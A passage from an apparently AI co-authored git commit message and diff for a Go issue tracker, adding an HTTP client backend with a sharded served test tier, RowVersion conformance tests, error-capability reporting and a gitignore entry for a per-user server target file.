TestReadOnlyOpenServesTheClaimBdReadyMakes pins it. An OpenNonMutating backend hook is the follow-up. Security surface. - http_target.json is in the doctor gitignore template and its required patterns. - BEADS_HTTP_TOKEN and BEADS_HTTP_TOKEN_COMMAND are host-scoped with BEADS_HTTP_CA_FILE's "host[:port]=value" syntax. A value scoped to another server falls through to the next rung, and a command scoped elsewhere never runs. - LoadTarget and SaveTarget refuse a url that carries userinfo, and Target.String drops userinfo. The served Tier 3 had no CI home. The new target //internal/httpclient:httpclient_served_test is an `embedded`-tagged sh_test. It reruns httpclient_test's binary through tools/bazel/go_test_variant.sh with the script's BEADS_TEST_EMBEDDED_DOLT=1 and BEADS_HTTP_TEST_REQUIRED=1, in 24 shards on the embedded lane's race build. bazel.yml's bazel-embedded job already runs `bazel test //... --config=embedded`, so no workflow changes. - -test.timeout=19m, not the script's 40m: Go's own timeout then fires, and dumps every goroutine, before the action's 1200s limit. - TestBazelRetiredLanesCannotBeNarrowed pins its args and env. The new TestConformanceServedTierRunsUnderBazel ties the script's Tier 3 switches to the rule. - The new untagged TestServedTierIsLinkedWhenRequired fails a required run built without cgo, which drops every served file (the sentinel minor). - A first 12-shard run found two test defects; both are fixed. TestServedBatchApplyBoundsTheItemCount's 1000-item apply outlasts the client's 60s per-request timeout under -race, so a race_detector_{on,off}_test.go pair scales its "at bound" half to 150 there, as embeddeddolt's TestBatchApplyContract does. And TestTheCompositionCatchesAWrongParameter's dropped-filter case leaned on rows earlier tests had seeded: run alone, or first in its shard, it failed. It now seeds its own row outside the scope. - conformance.sh, its script test and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md name the target. Deviations from the review's suggested fixes: - A bare BEADS_HTTP_TOKEN(_COMMAND) fails closed rather than falling back, and the error does not echo the value: a bare token split at an "=" would put token text into the pattern half. Dropping the bare syntax is safe today: the backend has no Register call site and no docs/ page names the variables. - Target.String drops userinfo instead of using url.URL.Redacted, which masks only the password, so a token used as the username would print. - The pre-#6890 claimIssue fallback leaves RowVersion unset instead of borrowing the follow-up read's token. That read is a second snapshot, so its token could postdate a write this claim never saw and arm a guard that should miss; a guard built from the unset token fails closed. Against a current server the claim rides updateIssue, whose `revision` is stitched as for any update. Also fixed: the nit about the completeness failure message, which now says to regenerate the shell, and the offrole.go tombstone comment that named a skip list which no longer exists. Left for follow-up (all latent, since httpclient.Register has no production caller): vocabOnce latching a failed fetch, snapshot holding s.mu across the handshake dial, unchunked graph anchors, private tracker IDs in park owners, and the bounded journal limit above 10000. Validation: - git diff --check; gofmt -l; go vet over internal/httpclient/... and scripts - go test -tags gms_pure_go over internal/httpapi/..., internal/httpclient/..., internal/storage/backends/... and backend/conformance/...; the doctor gitignore tests; the cmd/bd events-journal construction guard; ./scripts - bazel test --config=embedded //internal/httpclient:httpclient_served_test on the lane's remote executors: 24 shards, 702 top-level tests, 632 pass, 70 skip (69 ledgered KNOWN DIVERGENCE, plus TestCAFileHygieneRefusesGroupWritableFile, which finds no supplementary group on the executor), 0 fail, 0 data races; slowest shard 283s. tools/bazel/check_testcases.py --bep passes. - each of the 702 tests run alone (go test -run '^Name$', without -race): 0 fail - the whole tier under go test without -race, with the script's switches and -timeout=40m, before the two test fixes: 633 pass, 69 skip, 0 fail - removing BEADS_HTTP_TEST_REQUIRED from the rule fails both policy tests - bazel test --config=ci over //internal/httpclient/..., //internal/httpapi/..., //scripts/..., //test/docsync/..., //internal/storage/backends/..., //backend/conformance/... and //cmd/bd/doctor/...: 32 tests pass - make ci-pr-lint: nogo native plus windows/darwin, passes Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Eddie the Engineer --- BUILD.bazel | 1 + .../lifecycle_close_reopen_contract.go | 81 + backend/conformance/role_bundle_cases.go | 1 + beadserrors/errors.go | 11 + cmd/bd/doctor/gitignore.go | 4 + cmd/bd/doctor/gitignore_test.go | 30 + cmd/bd/events_journal_construction_test.go | 12 +- cmd/bd/markdown.go | 32 +- cmd/bd/store_factory.go | 10 + cmd/bd/store_factory_nocgo.go | 3 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 4 + engdocs/design/http-divergence-ledger.md | 185 +- internal/httpapi/batch_apply.go | 8 + internal/httpapi/batch_apply_test.go | 5 + internal/httpapi/batch_create.go | 7 + internal/httpapi/batch_create_test.go | 7 + internal/httpapi/create.go | 12 + internal/httpapi/create_test.go | 16 +- internal/httpclient/BUILD.bazel | 192 ++ internal/httpclient/accessors.go | 386 ++++ .../httpclient/backend_credential_test.go | 2 +- internal/httpclient/batchapplier.go | 769 +++++++ internal/httpclient/batchapplier_test.go | 999 +++++++++ internal/httpclient/batchcloser.go | 370 ++++ internal/httpclient/batchcreator.go | 296 +++ internal/httpclient/batchgetter.go | 130 ++ internal/httpclient/bridge.go | 197 ++ internal/httpclient/brief_test.go | 157 ++ internal/httpclient/bulk_roles_test.go | 872 ++++++++ internal/httpclient/ca_test.go | 32 +- internal/httpclient/claimer.go | 48 + internal/httpclient/commenter.go | 110 + internal/httpclient/completeness_test.go | 552 +++++ internal/httpclient/composition_test.go | 143 ++ internal/httpclient/counter.go | 191 ++ internal/httpclient/counts_test.go | 738 +++++++ internal/httpclient/credential.go | 104 +- internal/httpclient/credential_source_test.go | 4 +- internal/httpclient/credential_test.go | 140 +- internal/httpclient/deleter.go | 125 ++ internal/httpclient/dependencyeditor.go | 139 ++ internal/httpclient/detail_reads.go | 139 ++ internal/httpclient/dial.go | 322 +++ internal/httpclient/dial_test.go | 221 ++ internal/httpclient/dispatch.go | 113 + internal/httpclient/dispatch_test.go | 139 ++ .../divergence_citation_gate_test.go | 160 ++ internal/httpclient/divergence_test.go | 35 + internal/httpclient/encode/bijection_test.go | 3 +- internal/httpclient/encode/encode.go | 8 +- internal/httpclient/encode/ledger.go | 220 +- internal/httpclient/encode/ledger_render.go | 14 +- internal/httpclient/encode/table.go | 6 + internal/httpclient/errors.go | 102 + internal/httpclient/journal.go | 213 ++ internal/httpclient/lifecycle.go | 917 +++++++++ internal/httpclient/lifecycle_create_test.go | 289 +++ internal/httpclient/lifecycle_update_test.go | 308 +++ internal/httpclient/list_sort_test.go | 209 ++ internal/httpclient/list_walk.go | 457 +++++ internal/httpclient/memories.go | 122 ++ internal/httpclient/metadata.go | 140 ++ internal/httpclient/metadatacas.go | 127 ++ internal/httpclient/metadatacas_test.go | 283 +++ internal/httpclient/offrole.go | 37 + internal/httpclient/order.go | 123 ++ internal/httpclient/race_detector_off_test.go | 6 + internal/httpclient/race_detector_on_test.go | 13 + internal/httpclient/readyclaimer.go | 290 +++ internal/httpclient/refusal.go | 87 + internal/httpclient/register.go | 30 + internal/httpclient/relations.go | 146 ++ internal/httpclient/releaser.go | 154 ++ .../httpclient/required_served_tier_test.go | 23 + internal/httpclient/resolve.go | 222 ++ internal/httpclient/role_querier.go | 76 + internal/httpclient/role_reader.go | 131 ++ internal/httpclient/role_readycounter.go | 70 + internal/httpclient/roles_aux.go | 314 +++ internal/httpclient/roles_graph.go | 472 +++++ .../httpclient/roles_graph_cycles_test.go | 59 + internal/httpclient/roles_test.go | 445 ++++ .../httpclient/served_batch_apply_test.go | 457 +++++ .../httpclient/served_batch_close_test.go | 170 ++ .../httpclient/served_batch_getter_test.go | 63 + internal/httpclient/served_bridge_test.go | 664 ++++++ internal/httpclient/served_bulk_test.go | 820 ++++++++ .../httpclient/served_claim_lifecycle_test.go | 1313 ++++++++++++ internal/httpclient/served_commenter_test.go | 196 ++ internal/httpclient/served_config_test.go | 140 ++ .../httpclient/served_config_write_test.go | 236 +++ internal/httpclient/served_counter_test.go | 96 + .../httpclient/served_detail_reads_test.go | 380 ++++ internal/httpclient/served_dualrun_test.go | 495 +++++ internal/httpclient/served_graph_aux_test.go | 255 +++ .../httpclient/served_graph_counter_test.go | 68 + internal/httpclient/served_harness_test.go | 540 +++++ internal/httpclient/served_hooks_test.go | 254 +++ .../served_issue_operations_test.go | 261 +++ internal/httpclient/served_journal_test.go | 95 + .../served_lifecycle_create_test.go | 398 ++++ internal/httpclient/served_list_test.go | 1774 ++++++++++++++++ .../httpclient/served_memories_deps_test.go | 431 ++++ .../httpclient/served_metadata_cas_test.go | 153 ++ .../httpclient/served_project_swap_test.go | 218 ++ internal/httpclient/served_querier_test.go | 113 + internal/httpclient/served_reader_test.go | 441 ++++ .../httpclient/served_ready_claimer_test.go | 155 ++ .../httpclient/served_readycounter_test.go | 82 + internal/httpclient/served_relations_test.go | 101 + internal/httpclient/served_releaser_test.go | 319 +++ internal/httpclient/served_test.go | 382 ++++ .../httpclient/served_wrong_server_test.go | 135 ++ internal/httpclient/servercontext.go | 29 + internal/httpclient/store.go | 199 ++ internal/httpclient/store_dependent_test.go | 550 +++++ internal/httpclient/store_test.go | 465 +++++ internal/httpclient/sweeper.go | 139 ++ internal/httpclient/target.go | 40 +- internal/httpclient/target_seam.go | 74 + internal/httpclient/target_test.go | 56 + internal/httpclient/unsupported.go | 26 + internal/httpclient/unsupported_gen.go | 745 +++++++ internal/httpclient/vocabulary.go | 289 +++ internal/httpclient/watch.go | 67 + internal/httpclient/watch_test.go | 53 + internal/httpclient/wave2b_roles_test.go | 544 +++++ internal/httpclient/wave2c_claimnext_test.go | 356 ++++ internal/httpclient/wave2c_config_test.go | 302 +++ internal/httpclient/wave2c_journal_test.go | 356 ++++ internal/httpclient/wire/BUILD.bazel | 1 + internal/httpclient/wire/credential.go | 8 +- internal/httpclient/wire/handshake.go | 41 +- internal/httpclient/wire/handshake_test.go | 48 + internal/httpclient/wire/paths.go | 1 + internal/httpclient/wire/writes.go | 67 +- .../httpclient/wire/writes_twospeed_test.go | 2 +- internal/httpclient/write_ledger_test.go | 1092 ++++++++++ internal/httpclient/write_roles_test.go | 1814 +++++++++++++++++ internal/httpclient/writewire.go | 163 ++ internal/storage/BUILD.bazel | 2 + internal/storage/backends/backends.go | 8 + .../storage/contract_leg_registry_test.go | 21 + .../lifecycle_close_reopen_contract_test.go | 3 + .../lifecycle_close_reopen_contract_test.go | 3 + internal/storage/leg_contract_wiring_test.go | 152 ++ internal/storage/unsupportedgen/BUILD.bazel | 57 + internal/storage/unsupportedgen/main.go | 382 ++++ internal/storage/unsupportedgen/main_test.go | 86 + .../lifecycle_close_reopen_contract_test.go | 3 + scripts/conformance.sh | 24 +- scripts/conformance_script_test.go | 41 +- scripts/pr_risk_bazel_coverage_test.go | 7 + tools/bazel/BUILD.bazel | 1 + 154 files changed, 33661 insertions(+), 231 deletions(-) create mode 100644 internal/httpclient/accessors.go create mode 100644 internal/httpclient/batchapplier.go create mode 100644 internal/httpclient/batchapplier_test.go create mode 100644 internal/httpclient/batchcloser.go create mode 100644 internal/httpclient/batchcreator.go create mode 100644 internal/httpclient/batchgetter.go create mode 100644 internal/httpclient/bridge.go create mode 100644 internal/httpclient/brief_test.go create mode 100644 internal/httpclient/bulk_roles_test.go create mode 100644 internal/httpclient/claimer.go create mode 100644 internal/httpclient/commenter.go create mode 100644 internal/httpclient/completeness_test.go create mode 100644 internal/httpclient/composition_test.go create mode 100644 internal/httpclient/counter.go create mode 100644 internal/httpclient/counts_test.go create mode 100644 internal/httpclient/deleter.go create mode 100644 internal/httpclient/dependencyeditor.go create mode 100644 internal/httpclient/detail_reads.go create mode 100644 internal/httpclient/dial.go create mode 100644 internal/httpclient/dial_test.go create mode 100644 internal/httpclient/dispatch.go create mode 100644 internal/httpclient/dispatch_test.go create mode 100644 internal/httpclient/divergence_citation_gate_test.go create mode 100644 internal/httpclient/divergence_test.go create mode 100644 internal/httpclient/errors.go create mode 100644 internal/httpclient/journal.go create mode 100644 internal/httpclient/lifecycle.go create mode 100644 internal/httpclient/lifecycle_create_test.go create mode 100644 internal/httpclient/lifecycle_update_test.go create mode 100644 internal/httpclient/list_sort_test.go create mode 100644 internal/httpclient/list_walk.go create mode 100644 internal/httpclient/memories.go create mode 100644 internal/httpclient/metadata.go create mode 100644 internal/httpclient/metadatacas.go create mode 100644 internal/httpclient/metadatacas_test.go create mode 100644 internal/httpclient/offrole.go create mode 100644 internal/httpclient/order.go create mode 100644 internal/httpclient/race_detector_off_test.go create mode 100644 internal/httpclient/race_detector_on_test.go create mode 100644 internal/httpclient/readyclaimer.go create mode 100644 internal/httpclient/refusal.go create mode 100644 internal/httpclient/register.go create mode 100644 internal/httpclient/relations.go create mode 100644 internal/httpclient/releaser.go create mode 100644 internal/httpclient/required_served_tier_test.go create mode 100644 internal/httpclient/resolve.go create mode 100644 internal/httpclient/role_querier.go create mode 100644 internal/httpclient/role_reader.go create mode 100644 internal/httpclient/role_readycounter.go create mode 100644 internal/httpclient/roles_aux.go create mode 100644 internal/httpclient/roles_graph.go create mode 100644 internal/httpclient/roles_graph_cycles_test.go create mode 100644 internal/httpclient/roles_test.go create mode 100644 internal/httpclient/served_batch_apply_test.go create mode 100644 internal/httpclient/served_batch_close_test.go create mode 100644 internal/httpclient/served_batch_getter_test.go create mode 100644 internal/httpclient/served_bridge_test.go create mode 100644 internal/httpclient/served_bulk_test.go create mode 100644 internal/httpclient/served_claim_lifecycle_test.go create mode 100644 internal/httpclient/served_commenter_test.go create mode 100644 internal/httpclient/served_config_test.go create mode 100644 internal/httpclient/served_config_write_test.go create mode 100644 internal/httpclient/served_counter_test.go create mode 100644 internal/httpclient/served_detail_reads_test.go create mode 100644 internal/httpclient/served_dualrun_test.go create mode 100644 internal/httpclient/served_graph_aux_test.go create mode 100644 internal/httpclient/served_graph_counter_test.go create mode 100644 internal/httpclient/served_harness_test.go create mode 100644 internal/httpclient/served_hooks_test.go create mode 100644 internal/httpclient/served_issue_operations_test.go create mode 100644 internal/httpclient/served_journal_test.go create mode 100644 internal/httpclient/served_lifecycle_create_test.go create mode 100644 internal/httpclient/served_list_test.go create mode 100644 internal/httpclient/served_memories_deps_test.go create mode 100644 internal/httpclient/served_metadata_cas_test.go create mode 100644 internal/httpclient/served_project_swap_test.go create mode 100644 internal/httpclient/served_querier_test.go create mode 100644 internal/httpclient/served_reader_test.go create mode 100644 internal/httpclient/served_ready_claimer_test.go create mode 100644 internal/httpclient/served_readycounter_test.go create mode 100644 internal/httpclient/served_relations_test.go create mode 100644 internal/httpclient/served_releaser_test.go create mode 100644 internal/httpclient/served_test.go create mode 100644 internal/httpclient/served_wrong_server_test.go create mode 100644 internal/httpclient/servercontext.go create mode 100644 internal/httpclient/store.go create mode 100644 internal/httpclient/store_dependent_test.go create mode 100644 internal/httpclient/store_test.go create mode 100644 internal/httpclient/sweeper.go create mode 100644 internal/httpclient/target_seam.go create mode 100644 internal/httpclient/unsupported.go create mode 100644 internal/httpclient/unsupported_gen.go create mode 100644 internal/httpclient/vocabulary.go create mode 100644 internal/httpclient/watch.go create mode 100644 internal/httpclient/watch_test.go create mode 100644 internal/httpclient/wave2b_roles_test.go create mode 100644 internal/httpclient/wave2c_claimnext_test.go create mode 100644 internal/httpclient/wave2c_config_test.go create mode 100644 internal/httpclient/wave2c_journal_test.go create mode 100644 internal/httpclient/write_ledger_test.go create mode 100644 internal/httpclient/write_roles_test.go create mode 100644 internal/httpclient/writewire.go create mode 100644 internal/storage/unsupportedgen/BUILD.bazel create mode 100644 internal/storage/unsupportedgen/main.go create mode 100644 internal/storage/unsupportedgen/main_test.go diff --git a/BUILD.bazel b/BUILD.bazel index 97db2f488..3699152e2 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -345,6 +345,7 @@ filegroup( "//internal/storage/sqlclass:repo_files", "//internal/storage/sqlcount:repo_files", "//internal/storage/storagecontract:repo_files", + "//internal/storage/unsupportedgen:repo_files", "//internal/storage/uow:repo_files", "//internal/storage/versioncontrolops:repo_files", "//internal/telemetry:repo_files", diff --git a/backend/conformance/lifecycle_close_reopen_contract.go b/backend/conformance/lifecycle_close_reopen_contract.go index ca40fe53a..2395cfa3c 100644 --- a/backend/conformance/lifecycle_close_reopen_contract.go +++ b/backend/conformance/lifecycle_close_reopen_contract.go @@ -1092,6 +1092,87 @@ func RunLifecycleResultsAreHydratedPostStateSnapshots(t *testing.T, ctx context. lifecycleCloseReopenAssertSnapshot(t, "reopen result", reopened.Issue, peer) } +// RunLifecycleResultsCarryThePostWriteRowVersion pins that every write this +// role owns — Update, Close and Reopen — hands back a result whose +// Issue.RowVersion is the row's REAL post-write optimistic-concurrency token, +// not a zero value. types.Issue.RowVersion is `json:"-"`: an implementation +// that forgot to populate it on the way back from its own storage would still +// compile and would still pass every content assertion elsewhere in this +// file, because none of them read RowVersion. +// +// The assertion is a CHAIN rather than three independent zero-checks, because +// a zero-check alone cannot tell a dropped token from a WRONG one (an +// implementation could answer a nonzero constant, or the PRE-write version, +// and still clear it). Each step feeds the token the previous write answered +// with straight into the next write's ExpectedVersion, with no intervening +// read: the claim's token guards the Notes update, Update's token guards +// Close, and Close's token guards Reopen. A guard only passes if the token it +// was given equals the row's actual current version at the instant the next +// write runs, so a wrong or stale token fails closed — the next write +// refuses with ErrVersionMismatch — rather than silently succeeding. Any one +// dropped member breaks the chain at that link. +// +// The chain's first link is a CLAIM-ONLY request (Claim: true, no Patch), +// deliberately unguarded (UpdateRequest.Claim forbids combining Claim with +// ExpectedVersion — see issueops.UpdateRequest's doc): a backend that answers +// Lifecycle.Update's generic patch wire but special-cases a bare claim onto a +// different internal path (the http leg once dialed the Claimer role directly +// for one; it now folds the claim into updateIssue, keeping claimIssue only as +// the fallback for a server that predates updateIssue's `claim` member) could +// easily populate RowVersion on one path and not the other; this exercises +// the claim-only shape specifically, not just the Patch shape the rest of the +// chain already covered. +func RunLifecycleResultsCarryThePostWriteRowVersion(t *testing.T, ctx context.Context, fixture LifecycleCloseReopenFixture) { + t.Helper() + + id := fixture.IssuePrefix + "-lcr-rowversion" + lifecycleCloseReopenSeedIssue(t, ctx, fixture, id, types.StatusOpen, nil) + + claimed, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: id, Claim: true, + }) + if err != nil { + t.Fatalf("claim %s: %v", id, err) + } + if claimed.Issue == nil || claimed.Issue.RowVersion == 0 { + t.Fatalf("claim result RowVersion = %+v, want a nonzero post-write token", claimed.Issue) + } + claimVersion := claimed.Issue.RowVersion + + updated, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: id, ExpectedVersion: &claimVersion, + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "rowversion chain"}}, + }) + if err != nil { + t.Fatalf("update %s guarded by the claim's own token: %v — the claim result's RowVersion was not the row's real current version", id, err) + } + if updated.Issue == nil || updated.Issue.RowVersion == 0 { + t.Fatalf("update result RowVersion = %+v, want a nonzero post-write token", updated.Issue) + } + updateVersion := updated.Issue.RowVersion + + closed, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{ + Actor: "writer", IssueID: id, ExpectedVersion: &updateVersion, + }) + if err != nil { + t.Fatalf("close %s guarded by the update's own token: %v — the update result's RowVersion was not the row's real current version", id, err) + } + if closed.Issue == nil || closed.Issue.RowVersion == 0 { + t.Fatalf("close result RowVersion = %+v, want a nonzero post-write token", closed.Issue) + } + closeVersion := closed.Issue.RowVersion + + reopened, err := fixture.Lifecycle.Reopen(ctx, publicops.ReopenRequest{ + Actor: "writer", IssueID: id, ExpectedVersion: &closeVersion, + }) + if err != nil { + t.Fatalf("reopen %s guarded by the close's own token: %v — the close result's RowVersion was not the row's real current version", id, err) + } + if reopened.Issue == nil || reopened.Issue.RowVersion == 0 { + t.Fatalf("reopen result RowVersion = %+v, want a nonzero post-write token", reopened.Issue) + } +} + // RunLifecycleCloseAndReopenRequireActorAndIssueID pins the deterministic // validation floor both verbs sit on. The Lifecycle doc states "Deterministic // request validation failures match ErrValidation" and "Refusals and diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index bf65f8e7b..55385d9b7 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -429,6 +429,7 @@ var roleContractCases = []roleContract{ RunLifecycleExpectedVersionIsCheckedBeforeTheNoOps, RunLifecycleReopenRecordsItsReason, RunLifecycleResultsAreHydratedPostStateSnapshots, + RunLifecycleResultsCarryThePostWriteRowVersion, RunLifecycleCloseAndReopenRequireActorAndIssueID, RunLifecycleReopenProvenanceLabelsHistory, RunLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers, diff --git a/beadserrors/errors.go b/beadserrors/errors.go index 7f2e0491c..31748e554 100644 --- a/beadserrors/errors.go +++ b/beadserrors/errors.go @@ -66,8 +66,19 @@ var ErrNotInitialized = errors.New("database not initialized") type ErrUnsupported struct { Op string // method name, e.g. "AddLabel" or "Transaction.CreateIssues" Backend string // e.g. "dolt-server" + // Capability names the advertised token a server-version skew refusal was + // missing, when that is the reason — e.g. the http backend's own + // *wire.CapabilityError, which unwraps to one of these so a caller holding + // only a role interface can classify a skew refusal the same way as any + // other unsupported capability, without importing the wire package. + // Empty for every refusal that is not a skew: a backend that simply never + // implemented an accessor names no token it could have advertised. + Capability string } func (e *ErrUnsupported) Error() string { + if e.Capability != "" { + return fmt.Sprintf("operation %q not supported by the %s backend (capability %q not advertised)", e.Op, e.Backend, e.Capability) + } return fmt.Sprintf("operation %q not supported by the %s backend", e.Op, e.Backend) } diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index a719fe1b0..88904836e 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -41,6 +41,9 @@ push-state.json proxied_server_client_info.json +# http backend activation sidecar (per-user server URL and identity pin) +http_target.json + # Worktree redirect file (contains relative path to main repo's .beads/) # Must not be committed as paths would be wrong in other clones redirect @@ -139,6 +142,7 @@ var requiredPatterns = []string{ "*.corrupt.backup/", ".beads-credential-key", "proxied_server_client_info.json", + "http_target.json", ".local_version", "backup/", } diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index cc4e679ce..47e505229 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -1664,6 +1664,36 @@ func TestGitignore_ContainsDoltServerConfig(t *testing.T) { } } +// TestGitignore_ContainsHTTPTarget verifies that the http backend's activation +// sidecar is ignored like proxied_server_client_info.json, the per-user +// sidecar it follows. It names the server the bearer ladder authorizes +// against, so a committed copy would point every clone at that server. It +// must be in requiredPatterns too, so bd doctor --fix heals an existing +// .beads/.gitignore. +func TestGitignore_ContainsHTTPTarget(t *testing.T) { + // Keep this in sync with httpclient.TargetFileName; cmd/bd/doctor does not + // import the client for a string constant. + const pattern = "http_target.json" + + if !containsGitignorePattern(GitignoreTemplate, pattern) { + t.Errorf("GitignoreTemplate should contain %q", pattern) + } + if missing := missingGitignorePatterns(GitignoreTemplate); len(missing) != 0 { + t.Errorf("GitignoreTemplate is missing required patterns %v", missing) + } + + found := false + for _, p := range requiredPatterns { + if p == pattern { + found = true + break + } + } + if !found { + t.Errorf("requiredPatterns should include %q", pattern) + } +} + // TestCheckLastTouchedNotTracked_NoFile verifies that check passes when no last-touched file exists func TestCheckLastTouchedNotTracked_NoFile(t *testing.T) { tmpDir := t.TempDir() diff --git a/cmd/bd/events_journal_construction_test.go b/cmd/bd/events_journal_construction_test.go index bdfb78fbd..0a2f5c345 100644 --- a/cmd/bd/events_journal_construction_test.go +++ b/cmd/bd/events_journal_construction_test.go @@ -113,11 +113,13 @@ var scannedPackages = map[string]string{ // The staleness check below fails if an exemption stops matching a real // construction site, so an exemption cannot rot into a permanent excuse. var constructionExemptions = map[string]string{ - // Non-mutating opens. Every arm returns a store that refuses writes - // (OpenReadOnly / OpenForPreviewCommand / a ReadOnly server config), so - // there is no mutation for a journal row to accompany. - "store_factory.go:openNonMutatingStoreFromConfig": "read-only/preview open: the store refuses writes, so no mutation can go unrecorded", - "store_factory_nocgo.go:newReadOnlyStoreFromConfig": "read-only open: the store refuses writes, so no mutation can go unrecorded", + // Non-mutating opens. Every built-in arm returns a store that refuses + // writes (OpenReadOnly / OpenForPreviewCommand / a ReadOnly server config), + // so there is no mutation for a journal row to accompany. The registry arm + // may not refuse — the http client's read-only open is writable — but its + // writes are applied, and journaled, by the bd serve it dials. + "store_factory.go:openNonMutatingStoreFromConfig": "read-only/preview open: built-in arms refuse writes and the http arm's writes are journaled by its server, so no mutation can go unrecorded", + "store_factory_nocgo.go:newReadOnlyStoreFromConfig": "read-only open: built-in arms refuse writes and the http arm's writes are journaled by its server, so no mutation can go unrecorded", // Store-open-time reconciliation, which runs BEFORE the command's own store // exists and therefore before any workspace config could be applied to it. diff --git a/cmd/bd/markdown.go b/cmd/bd/markdown.go index 14a5f9183..2c002ad74 100644 --- a/cmd/bd/markdown.go +++ b/cmd/bd/markdown.go @@ -383,17 +383,27 @@ func buildMarkdownBatchRequest(templates []*IssueTemplate, in createInput) (issu Description: template.Description, Design: template.Design, AcceptanceCriteria: template.AcceptanceCriteria, - Status: types.StatusOpen, - Priority: template.Priority, - IssueType: template.IssueType, - Assignee: template.Assignee, - Labels: template.Labels, - Ephemeral: ephemeral, - NoHistory: in.noHistory, - StorageClass: storageClass, - MolType: in.molType, - CreatedBy: in.createdBy, - Owner: in.owner, + // Status is left unset rather than spelled out as + // types.StatusOpen: PreparePublicCreateRequest (shared by every + // backend, including the http client store's server) already + // defaults an empty Status to StatusOpen, so an explicit "open" + // here was never a different outcome — only a populated member + // the http wire's BatchCreateItem has no slot for and the role + // (correctly) refuses rather than drops. Leaving it unset removes + // that one refusal without changing what gets created; the http + // wire still refuses this request's Provenance and Owner (see + // internal/httpclient/batchcreator.go), so `--file` is not + // servable there yet. + Priority: template.Priority, + IssueType: template.IssueType, + Assignee: template.Assignee, + Labels: template.Labels, + Ephemeral: ephemeral, + NoHistory: in.noHistory, + StorageClass: storageClass, + MolType: in.molType, + CreatedBy: in.createdBy, + Owner: in.owner, }, Dependencies: dependencies, }) diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index 1d7564a54..da4fba918 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -259,6 +259,16 @@ func newPreviewStoreFromConfig(ctx context.Context, beadsDir string) (storage.Do // OpenForPreviewCommand, ReadOnly server config), so there is no mutation for a // journal row to accompany. Registered in the construction guard's exemption // list with that reason. +// +// The registry arm is the exception: it returns whatever the backend's +// OpenReadOnly means, and that one hook also serves the root pre-run's +// classified reads, `bd ready --claim` included, so it may be writable. The +// http client backend's read-only open is (httpclient.NewReadOnlyFromConfig), +// and a write through it reaches its bd serve. The journal exemption still +// holds there: recording that write is the business of the server that applies +// it, and the client has no journal of its own to activate. A separate +// OpenNonMutating hook on backends.Backend, which this function would call +// instead, is the follow-up that closes the exception. func openNonMutatingStoreFromConfig(ctx context.Context, beadsDir string, preview bool) (storage.DoltStorage, error) { cfg, err := configfile.Load(beadsDir) if err != nil { diff --git a/cmd/bd/store_factory_nocgo.go b/cmd/bd/store_factory_nocgo.go index f50303512..bb683eb70 100644 --- a/cmd/bd/store_factory_nocgo.go +++ b/cmd/bd/store_factory_nocgo.go @@ -92,7 +92,8 @@ func newDoltStoreFromConfig(ctx context.Context, beadsDir string) (s storage.Dol // newReadOnlyStoreFromConfig creates a read-only SQL-server-backed storage // backend. It does not activate the events journal: the store refuses writes, // so there is no mutation for a journal row to accompany (exemption is recorded -// in the construction guard). +// in the construction guard). The registry arm is the exception the cgo +// twin, openNonMutatingStoreFromConfig, describes. func newReadOnlyStoreFromConfig(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { cfg, err := configfile.Load(beadsDir) if err != nil { diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index e271b795b..fd3f54f72 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1063,6 +1063,10 @@ Required` requires them to have run remotely and passed. it in `bazel-integration`, which `pr.yml`'s gate requires (PR Core's `go test` builds neither tag). Neither tier was part of a required gate before. `scripts/conformance.sh` stays as the local `go test` entrypoint. + Its Tier 3, the served HTTP corpus (`./internal/httpclient` with + `BEADS_TEST_EMBEDDED_DOLT=1` and `BEADS_HTTP_TEST_REQUIRED=1`), runs in + the embedded lane as `//internal/httpclient:httpclient_served_test` + (race build, 24 shards). `docs-mintlify.yml` likewise drops its docsync job (`go test ./test/docsync`, which `bazel-test` runs as `//test/docsync:docsync_test`) and keeps only Mintlify's network-bound broken-link check. diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index b88d98fce..0b6c4c931 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -22,17 +22,17 @@ hand-edit it: change the ledger in Go and regenerate. Two gates keep it honest the encoder's reflection **bijection gate** pins the ledger to the wire (a request field added upstream lands here or fails CI), and the golden test `TestDivergenceLedgerDocMatchesLedger` pins this doc to the ledger. The prose -rationale, the decision numbers (D-rows) each entry cites, and the full test-lane -map live in the architecture spec, `http-client-backend.md`, which is not -included in this repository. +rationale and the decision numbers (D-rows) each entry cites trace back to the +original (bd-enterprise-internal) design's decision log, which is not included +in this repository; the full test-lane map lives alongside each row below. A handful of rows still carry a `TODO` pin: these are the read-display and pre-run residuals (wisp-in-list, the pretty `bd ready` parent-epic map, the molecule/auto-import pre-run degradations). The -client core is complete; `ga-b8ddd.12` (per-request project-id enforcement) -closed the read-display escalation, so pinning the remaining 